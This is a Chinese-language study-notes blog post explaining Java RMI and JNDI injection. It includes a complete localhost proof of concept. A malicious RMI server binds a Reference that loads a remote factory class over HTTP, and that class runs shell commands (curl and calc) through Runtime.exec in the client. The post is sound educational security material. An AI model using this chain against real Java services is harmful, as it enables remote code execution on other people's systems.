JNDI注入與反序列化學習總結

0x01.java RMI

RMI(Remote Method Invocation)是專爲Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法並提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法。
RMI依賴的通信協議爲JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),該協議爲Java定製,要求服務端與客戶端都爲Java編寫
這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規範。在RMI中對象是通過序列化方式進行編碼傳輸的

 

如上圖所示,在JVM之間通信時,客戶端要調用遠程服務器上的對象時,並不是直接將遠程對象拷貝到本地,而是通過傳遞一個stub。

其中stub就包含了遠程服務器的地址和端口等信息,可以看作是遠程對象的引用,客戶端可以通過調用stub中的方法來對遠程對象進行使用,也就是上圖所說的邏輯上的調用,而非直接調用,即真實的數據是從客戶端到服務端遠程對象的stub(存根)到服務器的skeleton(骨架)之間的socket通信。

實際上client並不知道遠程服務器的通信地址和端口,但是服務器對象存根(stub)中有這些信息,那麼客戶端只要拿到stub,通過調用stub上的方法,然後stub再連接到遠程服務器的具體端口,服務器執行client所請求的具體方法,再講運行結果返回給stub,stub再將結果返回給client,此時client表面上看起來即爲在本地執行了遠程服務器上指定對象的方法,而這個執行過程對client實際上是透明的。

至於如何獲取stub,常見方法爲通過RMI註冊表(RMIRegistry)來解決這個問題,RMIRegistry也爲遠程對象,此時監聽在1099端口,註冊遠程對象需要RMI URL 和一個遠程對象的引用(實際上就是一個路由對應着一個遠程服務器上類的實例化對象)。而此時客戶端首先可以通過RMI註冊表查詢到遠程對象的名稱,先獲取stub,然後來調用該stub來調用遠程對象所屬類中的方法。

比如如下例子:

遠程服務端:

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

此時遠程服務端RMI註冊表監聽1099端口,並設置RMI URL和對應該URL的類對象

客戶端:

Registry registry = LocateRegistry.getRegistry("遠程服務器地址",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");

此時客戶端訪問遠程服務器RMI註冊表,得到該RMI註冊表的對象,此時再訪問其中URL中的hello,即可以獲得服務器端綁定到hello的類的對象,此時就可以進行調用sayHello方法,整個流程客戶端也就完成了對遠程服務器上的類的使用。

動態加載類:

這點根據我的理解應該是服務端可以將不同的url與類寫到RMI註冊表中,當客戶端的jvm想要調用某個類時,可以根據服務端傳遞過來的url去遠程下載類對應的class文件到本地來進行調用。

2.JNDI注入

 jndi介紹:

第一部分已經說過我們可以通過url和類寫到rmi註冊表中,此時客戶端可以通過url來對遠程類進行加載,而jndi爲java服務和目錄接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口,JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射爲特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互,所以我們可以通過jdni來訪問遠程的url來獲取我們需要的服務,那麼如果服務端將類註冊到RMI註冊表中,我們即可以通過jndi來對此類進行訪問。每一個對象都有鍵值對,與名字和對象進行綁定,可以通過名字來對對象進行訪問,對象可能存儲在rmi、ldap中。

java可以將對象存儲在naming或者directory服務下,提供了naming reference功能,對象綁定到reference上,存儲在naming或者directory服務下,(rmi,ldap等)。在使用reference的時候,將對象綁定到構造方法中,從而在被調用的時候觸發。

舉個JNDI🌰:

person類(位於遠程服務器上,也就是我們想要調用的類)

package JavaUnser;
import java.io.Serializable;
import java.rmi.Remote;
public class Person implements Remote,Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String password;
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String toString(){
        return "name:"+name+" password:"+password;
    }
}

RMI服務端:

package JavaUnser;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
public class test {
    public static void initPerson() throws Exception{
        //配置JNDI工廠和JNDI的url和端口。如果沒有配置這些信息,會出現NoInitialContextException異常
        LocateRegistry.createRegistry(3001);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");
        ////初始化
        InitialContext ctx = new InitialContext();
        //實例化person對象
        Person p = new Person();
        p.setName("hello");
        p.setPassword("jndi");
        //person對象綁定到JNDI服務中,JNDI的名字叫做:person,即我們可以通過person鍵值,來對Person對象進行索引
        ctx.bind("person", p);
        ctx.close();

    }
    public static void findPerson() throws Exception{

        //因爲前面已經將JNDI工廠和JNDI的url和端口已經添加到System對象中,這裏就不用在綁定了
        InitialContext ctx = new InitialContext();
        //通過lookup查找person對象
        Person person = (Person) ctx.lookup("person");
        //打印出這個對象
        System.out.println(person.toString());
        ctx.close();
    }
    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }

}

 可以看到,運行服務端程序後將會綁定3001端口

 

 在初始化完上下文context(一組名稱和對象綁定組成的鍵值對)後,此時可以看到defaultinitCtx中已經包含了jndi的環境變量信息,及服務提供者的url和工廠類的信息,也包括了服務器的host地址和已經提供rmi註冊表服務的端口

 

在findperson中,我們直接可以通過初始化context來通過lookup函數,來對rmi服務進行訪問,從而獲取person對象
這裏我們已經知道可以通過lookup函數來加載遠程對象,lookup實際上就要去訪問rmi註冊表去取回我們想要的對象

 

而getURLOrDefaultInitCtx函數中會根據不同情況來返回ctx,那麼如果lookup函數的參數可控,我們可以指定惡意的rmi註冊表地址,讓客戶端加載惡意的對象

JNDI注入的場景有:

rmi、通過jndi reference遠程調用object方法。
CORBA IOR 遠程獲取實現類(Common Object Request Broker Architecture,公共對象請求代理體系結構,通用對象請求代理體系結構   IOR:可互操作對象引用。)
LDAP 通過序列化對象,JNDI Referene,ldap地址

jndi注入的🌰:

客戶端:

client.java

package JavaUnser;
import javax.naming.Context;
import javax.naming.InitialContext;
public class client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

通過初始化context,然後調用lookup函數來訪問rmi註冊表,嘗試調用遠程對象

server.java

package JavaUnser;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class server {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("execObj", "execObj", "http://127.0.0.1:8081/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);

    }

}

此時服務端通過reference將遠程對象可以綁定到rmi註冊表中,通過reference,可以將遠程對象放置在其他服務器上,此時攻擊者只要提供惡意的對象供客戶端調用即可實現rce

exec.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exec implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("sssss");
        Runtime.getRuntime().exec("curl 127.0.0.1:8081");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}

此時即可以編譯exec.java得到exec.class字節碼文件,然後將exec.class文件放置在服務器上

本地監聽8081端口,這個端口也就是與工廠地址相吻合的

其中factory即爲我們想要從http://127.0.0.1:8081請求的class文件的名稱,然後啓動rmi服務端

此時啓動客戶端對exec.class文件進行加載,此時成功執行

 

此時成功加載了遠程的class文件,並且rce

參考:

https://www.freebuf.com/column/189835.html

https://xz.aliyun.com/t/2223

https://xz.aliyun.com/t/4711

https://xz.aliyun.com/t/4558#toc-0

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com//115849.html

https://blog.csdn.net/u011721501/article/details/52316225

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章